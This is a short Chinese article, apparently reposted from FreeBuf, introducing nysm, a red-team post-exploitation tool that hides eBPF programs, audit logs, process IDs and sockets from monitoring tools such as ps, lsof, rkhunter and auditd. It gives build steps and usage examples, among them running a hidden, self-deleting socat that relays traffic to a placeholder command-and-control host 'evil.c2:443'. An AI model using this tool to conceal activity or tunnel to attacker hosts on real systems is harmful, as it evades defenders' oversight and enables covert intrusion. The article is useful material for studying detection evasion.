nysm是一款针对红队审计的隐蔽型后渗透安全测试容器,该工具主要针对的是eBPF,能够帮助广大红队研究人员在后渗透测试场景下保持eBPF的隐蔽性。
随着基于eBPF的安全工具越来越受社区欢迎,nysm也应运而生。该工具能保持各种安全测试工具的隐蔽性,当前版本的nysm支持隐藏下列内容:
1、新的eBPF程序;
2、新的eBPF Map;
3、新的eBPF链接;
4、新的审计生成日志;
5、新的进程PID;
6、新的会话套接字;
除了隐藏eBPF之外,当前版本的nysm还支持隐藏下列工具组件:
bpftool
bpflist-bpfcc
ps
top
sockstat
rkhunter
chkrootkit
lsof
auditd
...
源码获取:
广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/eeriedusk/nysm.git
工具依赖组件安装:
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y
Linux Header配置:
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
代码构建:
cd ./nysm/src/
make
nysm的使用非常简单,并提供了下列参数命令:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach 在后台运行命令
-r, --rm 执行后执行自毁程序
-v, --verbose 生成Verbose模式输出
-h, --help 显示工具帮助信息
--usage 显示工具使用提示消息
运行一个隐藏的Bash:
./nysm bash
运行一个隐藏的ssh并移除./nysm:
./nysm -r ssh user
以守护进程形式运行一个隐藏的socat并移除./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
本项目的开发与发布遵循Apache-2.0开源许可证协议。
nysm:
https://github.com/eeriedusk/nysm
原文始发于微信公众号(FreeBuf):nysm:一款针对红队审计的隐蔽型后渗透安全测试容器
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论